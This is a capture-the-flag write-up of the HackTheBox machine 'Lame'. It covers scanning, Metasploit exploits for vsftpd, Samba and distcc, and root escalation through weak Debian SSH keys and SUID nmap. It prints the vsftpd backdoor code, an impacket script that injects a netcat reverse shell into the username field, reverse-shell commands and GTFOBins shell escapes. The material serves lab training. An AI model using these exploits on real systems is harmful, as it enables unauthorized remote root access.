HACKTHEBOX - LAME
Link : https://app.hackthebox.eu/machines/Lame
Note: This is the very first HackTheBox machine
Enumeration
Output
nmap -sC -sV lame.hackthebox.gr
PORT STATE SERVICE VERSION
21/tcp open ftp vsftpd 2.3.4
22/tcp open ssh OpenSSH 4.7p1 Debian 8ubuntu1 (protocol 2.0)
| ssh-hostkey:
| 1024 600fcfe1c05f6a74d69024fac4d56ccd (DSA)
|_ 2048 5656240f211ddea72bae61b1243de8f3 (RSA)
139/tcp open netbios-ssn?
445/tcp open microsoft-ds Samba smbd 3.0.20-Debian
Service Info: OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernel
Host script results:
|_clock-skew: mean: 2h30m21s, deviation: 3h32m11s, median: 18s
| smb-os-discovery:
| OS: Unix (Samba 3.0.20-Debian)
| Computer name: lame
| NetBIOS computer name:
| Domain name: hackthebox.gr
| FQDN: lame.hackthebox.gr
|_ System time: 2023-02-08T03:50:36-05:00
|_smb2-time: Protocol negotiation failed (SMB2)
| smb-security-mode:
| account_used: guest
| authentication_level: user
| challenge_response: supported
|_ message_signing: disabled (dangerous, but default)
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 62.35 seconds
We notice an FTP server (with a pretty old version) and a Samba server
SMB is a proprietary protocol developed by Microsoft to enable file sharing and other features
SAMBA is a free implementation of this protocol that allows using the SMB protocol with Windows machines. We will refer to Samba server to designate a linux server that uses the SMB protocol.
Exploitation
FTP exploit
The vsftp version is pretty obsolete: 2.3.4. We can look for an exploit:
Output searchsploit
searchsploit vsftp
---------------------------------------------- ---------------------------------
vsftpd 2.0.5 - 'CWD' (Authenticated) Remote M | linux/dos/5814.pl
vsftpd 2.0.5 - 'deny_file' Option Remote Deni | windows/dos/31818.sh
vsftpd 2.0.5 - 'deny_file' Option Remote Deni | windows/dos/31819.pl
vsftpd 2.3.2 - Denial of Service | linux/dos/16270.c
**vsftpd 2.3.4 - Backdoor Command Execution | unix/remote/49757.py**
vsftpd 2.3.4 - Backdoor Command Execution (Me | unix/remote/17491.rb
vsftpd 3.0.3 - Remote Denial of Service | multiple/remote/49719.py
---------------------------------------------- ---------------------------------
An exploit is available for this version!
msf6 > search vsftpd 2.3.4
# Name Disclosure Date Rank Check Description
- ---- --------------- ---- ----- -----------
0 exploit/unix/ftp/vsftpd_234_backdoor 2011-07-03 excellent No VSFTPD v2.3.4 Backdoor Command Execution
We will therefore use metasploit:
[*] Exploit completed, but no session was created.
The exploit seems to have worked but no session was obtained. This may be due to an internal firewall that would block the reverse shell?
Exploitation SMB
smbclient --no-pass -L //lame.hackthebox.gr
Output
Anonymous login successful
Sharename Type Comment
--------- ---- -------
print$ Disk Printer Drivers
tmp Disk oh noes!
opt Disk
IPC$ IPC IPC Service (lame server (Samba 3.0.20-Debian))
ADMIN$ IPC IPC Service (lame server (Samba 3.0.20-Debian))
Reconnecting with SMB1 for workgroup listing.
Anonymous login successful
Server Comment
--------- -------
Workgroup Master
--------- -------
WORKGRO
We list the tmp and $print shares:
Output
smb: \> dir
. D 0 Wed Feb 8 09:58:41 2023
.. DR 0 Sat Oct 31 08:33:58 2020
.ICE-unix DH 0 Wed Feb 8 09:50:00 2023
vmware-root DR 0 Wed Feb 8 09:50:31 2023
.X11-unix DH 0 Wed Feb 8 09:50:26 2023
5579.jsvc_up R 0 Wed Feb 8 09:51:03 2023
.X0-lock HR 11 Wed Feb 8 09:50:26 2023
vgauthsvclog.txt.0 R 1600 Wed Feb 8 09:49:57 2023
We get some files, but nothing too interesting.
However, the SMB version is pretty old -> 3.0.20
This version is vulnerable to this exploit:
Samba 3.0.20 < 3.0.25rc3 - 'Username' map scr | unix/remote/16320.rb
We will use this exploit with the metasploit framework
Output metasploit
msf6 exploit(multi/samba/usermap_script) > show options
msf6 exploit(multi/samba/usermap_script) > set RHOSTS 10.10.10.3
msf6 exploit(multi/samba/usermap_script) > set LPORT 445
msf6 exploit(multi/samba/usermap_script) > set LHOST tun0
msf6 exploit(multi/samba/usermap_script) > run
[*] Started reverse TCP handler on 10.10.16.4:4444
[*] Command shell session 1 opened (10.10.16.4:4444 -> 10.10.10.3:35973) at 2023-07-24 23:34:59 +0200
We get a root shell
More information about this metasploit module: https://www.infosecmatter.com/metasploit-module-library/?mm=exploit/unix/ftp/vsftpd_234_backdoor
Going further - Manual exploitation
FTP payload explanation
The vulnerability used on VSFTP is a backdoor implemented in the public version between June 30, 2011 and July 1, 2011.
In the github code, we can see the implemented backdoor code :
else if((p_str->p_buf[i]==0x3a)
&& (p_str->p_buf[i+1]==0x29))
{
vsf_sysutil_extra();
}
Here we see that the function vsf_sysutil_extra(); is called if the string sequence :) is detected in the FTP request.
The vsf_sysutil_extra(); function is defined in the sysdeputil.c file:
{
int fd, rfd;
struct sockaddr_in sa;
if((fd = socket(AF_INET, SOCK_STREAM, 0)) < 0) //Si la création du socket échoue, alors quitter le programme
exit(1);
memset(&sa, 0, sizeof(sa));
sa.sin_family = AF_INET; //AF_INET correspond à la famille d'adresse IPv4. Seule une IPv4 pourra intéragir avec le socket
sa.sin_port = htons(6200); //Ici on spécifie le port d'écoute du socket
sa.sin_addr.s_addr = INADDR_ANY; //Enfin, on spécifie l'adresse IP d'écoute du socket (ici toutes les IP de toutes les interfaces)
if((bind(fd,(struct sockaddr *)&sa,
sizeof(struct sockaddr))) < 0) exit(1);
if((listen(fd, 100)) == -1) exit(1); // Mise en écoute du socket
for(;;) //Ce for explicite que le programme va tourner en boucle indéfiniment
{
rfd = accept(fd, 0, 0); //Accepte une connexion entrante
close(0); close(1); close(2);
dup2(rfd, 0); dup2(rfd, 1); dup2(rfd, 2);
execl("/bin/sh","sh",(char *)0); //Remplace le processus actuel par un shell, qui permettera à l'attaquant d'intéragir avec le reverse shell
}
}
Probably behind, there is an internal firewall to prevent the appearance of the reverse shell, without indicating that the exploit would not be possible. If the exploit had been possible, people would have seen port 6200 listening, and could have connected directly
So, for the manual exploitation of this backdoor, it would have been enough.....to insert a :) in the username :)
More information here: https://scarybeastsecurity.blogspot.com/2011/07/alert-vsftpd-download-backdoored.html
Samba payload explanation
Samba payload explanation
'/=`nohup [command]`'
Unfortunately, SMBClient formats the username, and therefore does not allow us to perform the exploit.
However, we can use the python impacket library to perform the exploit.
from impacket import smb
def send_smb_logon_packet(username, password, target_ip):
smb_client = smb.SMB(target_ip, target_ip)
smb_client.login(username, password)
if __name__ == "__main__":
target_ip = "10.10.10.3"
username = "`nohup nc -e /bin/sh 10.10.16.4 8080`"
password = ""
try:
send_smb_logon_packet(username, password, target_ip)
print("Login success")
except Exception as e:
print(f"Fail : {str(e)}")
Result:
Shell 1:
Shell 2 :
Outputs
python scapy_smb.py
Failed to send SMB logon packet: The NETBIOS connection with the remote host timed out.
Shell 2 :
nc -nlvp 8080
listening on [any] 8080 ...
connect to [10.10.16.4] from (UNKNOWN) [10.10.10.3] 45693
However our shell is not "stabilized". This means that if we press Ctrl + C, we exit our terminal. Here's how to stabilize a shell:
First, make sure you have python installed:
which python
/usr/bin/python
Then you can run this command to get a shell:
python -c "import pty; pty.spawn('/bin/bash')"
root@lame:/#
Finally, we need to tell our terminal not to interpret the characters sent, and send them directly to the shell. For this we will use the stty command
Ctrl+Z pour mettre le netcat en arrière plan
stty raw -echo && fg
export TERM=xterm-256-color
In summary:
You now have a fully usable terminal, with autocompletion and colors.
Once logged in, we notice that the username map script field is configured with a script:
username map script = /etc/samba/scripts/mapusers.sh
This script is empty by the way.
New path: Via distccd
During the initial nmap scan, we only scanned the 1000 most common ports. However, a port was open and vulnerable but was not in the initial scan:
Output nmap
3632/tcp open distccd distccd v1 ((GNU) 4.2.4 (Ubuntu 4.2.4-1ubuntu4))
| distcc-cve2004-2687:
| VULNERABLE:
| distcc Daemon Command Execution
| State: VULNERABLE (Exploitable)
| IDs: CVE:CVE-2004-2687
| Risk factor: High CVSSv2: 9.3 (HIGH) (AV:N/AC:M/Au:N/C:C/I:C/A:C)
| Allows executing of arbitrary commands on systems running distccd 3.1 and
| earlier. The vulnerability is the consequence of weak service configuration.
|
| Disclosure date: 2002-02-01
| Extra information:
|
| uid=1(daemon) gid=1(daemon) groups=1(daemon)
|
| References:
| https://nvd.nist.gov/vuln/detail/CVE-2004-2687
| https://distcc.github.io/security.html
|_ https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2004-2687
Service Info: OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernel
This port corresponds to the distcc service, which is also vulnerable to cve-2004-2687 which was able to be exploited by the nmap scan.
DistCC is a distributed compilation service that allows users to distribute compilation tasks across multiple machines on a network, thus speeding up the process of building software projects.
When compiling a project using DistCC, the DistCC client sends the source files and compilation information over the specified TCP port to the DistCC daemon on the remote compilation machine. The DistCC daemon then processes the compilation tasks using the compute power of the remote machine and returns the results to the client.
To exploit this vulnerability we will use metasploit, especially since the exploit in C is quite complex, and will be done in the future.
msf6 exploit(unix/misc/distcc_exec) > search DistCC
# Name Disclosure Date Rank Check Description
- ---- --------------- ---- ----- -----------
0 exploit/unix/misc/distcc_exec 2002-02-01 excellent Yes DistCC Daemon Command Execution
We can therefore use the exploit exploit/unix/misc/distcc_exec
msf6 exploit(unix/misc/distcc_exec) > use exploit/unix/misc/distcc_exec
msf6 exploit(unix/misc/distcc_exec) > set payload /cmd/unix/generic
payload => cmd/unix/generic
msf6 exploit(unix/misc/distcc_exec) > show options
RHOSTS 10.10.10.3 yes The target host(s), see https://docs.metasploit.com/docs/using-meta
sploit/basics/using-metasploit.html
RPORT 3632 yes The target port (TCP)
Payload options (cmd/unix/generic):
Name Current Setting Required Description
---- --------------- -------- -----------
CMD yes The command string to execute
When using metasploit, always prefer the /cmd/unix/generic payload. Indeed, this payload is a generic payload that allows executing any command on the target machine.
You have more control compared to the default payload, which is the reverse bash (which is a payload that opens a bash shell on the target machine).
We fill in the necessary data:
msf6 exploit(unix/misc/distcc_exec) > set RHOSTS 10.10.10.3
RHOSTS => 10.10.10.3
msf6 exploit(unix/misc/distcc_exec) > set CMD nc -e /bin/sh 10.10.16.4 4444
CMD => nc -e /bin/sh 10.10.16.4 4444
msf6 exploit(unix/misc/distcc_exec) > run
In summary:
In the other terminal:
Output
nc -nlvp 4444
listening on [any] 4444 ...
connect to [10.10.16.4] from (UNKNOWN) [10.10.10.3] 48639
whoami
daemon
We therefore have access to another account, named daemon
Privilege escalation via the daemon account
The box being quite old, and for simplicity, we will ignore kernel exploits.
Bad permissions on root ssh keys
With a linpeas, we find this:
-rw-r--r-- 1 root root 405 May 17 2010 /root/.ssh/authorized_keys
ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEApmGJFZNl0ibMNALQx7M6sGGoi4KNmj6PVxpbpG70lShHQqldJkcteZZdPFSbW76IUiPR0Oh+WBV0x1c6iPL/0zUYFHyFKAz1e6/5teoweG1jr2qOffdomVhvXXvSjGaSFwwOYB8R0QxsOWWTQTYSeBa66X6e777GVkHCDLYgZSo8wWr5JXln/Tw7XotowHr8FEGvw2zW1krU3Zo9Bzp0e0ac2U+qUGIzIu/WwgztLZs5/D9IyhtRWocyQPE+kcP+Jz2mt4y1uA73KqoXfdw5oGUkxdFo9f1nu2OwkjOc+Wv8Vw7bwkf+1RgiOMgiJ5cCs4WocyVxsXovcNnbALTp3w== msfadmin@metasploitable
What intrigues me is that the user is msfadmin@metasploitable. Would OpenSSH be vulnerable?
In my research, I come across this article: https://pentest.tonyng.net/metasploitable-ssh-exploits/
It talks about ssh keys present in the "authorized_keys" file. It also mentions the msfadmin user
Going further, I come across this github: https://github.com/g0tmi1k/debian-ssh
It also talks about weak ssh keys, but especially this :
All SSL and SSH keys generated on Debian-based systems (Ubuntu, Kubuntu, etc) between September 2006 and May 13th, 2008 may be affected.
Now, we have 2 ways to proceed:
- Via brute force
It is possible to use a metasploit module to "bruteforce" these ssh keys:
msf6 exploit(unix/misc/distcc_exec) > use auxiliary/scanner/ssh/ssh_login_pubkey
set RHOSTS 10.10.10.3
set USERNAME root
set KEY_PATH debian-ssh/common_keys/rsa/2048/
run
However, this method takes a long time, and is not necessarily effective. Use this technique if you do not have access to the authorized keys
Via the github repo method (recommended) For this, we need the signature of the authorized key:
ssh-keygen -l -f /root/.ssh/authorized_keys
2048 57:c3:11:5d:77:c5:63:90:33:2d:c5:c4:99:78:62:7a /root/.ssh/authorized_keys
On concatène la signature : 57c3115d77c56390332dc5c49978627a
Then search for the corresponding key in the repo:
find . -type f -name "*57c3115d77c56390332dc5c49978627a*"
./57c3115d77c56390332dc5c49978627a-5429
./57c3115d77c56390332dc5c49978627a-5429.pub
Then it is possible to connect:
ssh -oHostKeyAlgorithms=+ssh-rsa -i 57c3115d77c56390332dc5c49978627a-5429 [email protected]
I unfortunately could not connect via my kali, because the ssh version in the box was too old, and the encryption protocols too obsolete.
To remedy this, we can upload the corresponding public and private keys, then connect via the reverse shell:
wget 10.10.16.4/57c3115d77c56390332dc5c49978627a-5429
wget 10.10.16.4/57c3115d77c56390332dc5c49978627a-5429.pub
chmod 600 57c3115d77c56390332dc5c49978627a-5429
chmod 600 57c3115d77c56390332dc5c49978627a-5429.pub
ssh -i 57c3115d77c56390332dc5c49978627a-5429 [email protected]
The authenticity of host '127.0.0.1 (127.0.0.1)' can't be established.
RSA key fingerprint is 56:56:24:0f:21:1d:de:a7:2b:ae:61:b1:24:3d:e8:f3.
Are you sure you want to continue connecting (yes/no)? yes
root@lame:~#
SUID on nmap
SUID stands for Set User ID. It is a bit that can be applied to a file. This bit allows the file to be executed with the permissions of its owner.
In the following case, its owner being root, we can use nmap as root.
To identify a program with the SUID bit, you can use the command find / -perm -u=s -type f 2>/dev/null
A program with the SUID bit will have the following permissions:
rwsr-xr-x root root
We notice with linpeas that we have SUID permissions on nmap. Using its associated page on GTFO Bins (https://gtfobins.github.io/gtfobins/nmap/), we find 2 ways to escalate privileges:
- Using nmap's interactive mode
Output
daemon@lame:/tmp$ nmap --interactive
Starting Nmap V. 4.53 ( http://insecure.org )
Welcome to Interactive Mode -- press h <enter> for help
nmap>
Bogus command -- press h <enter> for help
nmap> !sh
sh-3.2# whoami
root
- Using a "homemade" script
Output
daemon@lame:/tmp$ echo 'os.execute("/bin/sh")' > scriptnmap.sh
daemon@lame:/tmp$ nmap --script=scriptnmap.sh 127.0.0.1
SCRIPT ENGINE: Warning: Loading './scriptnmap.sh' - the recommended file extension is '.nse'.
sh-3.2# whoami
root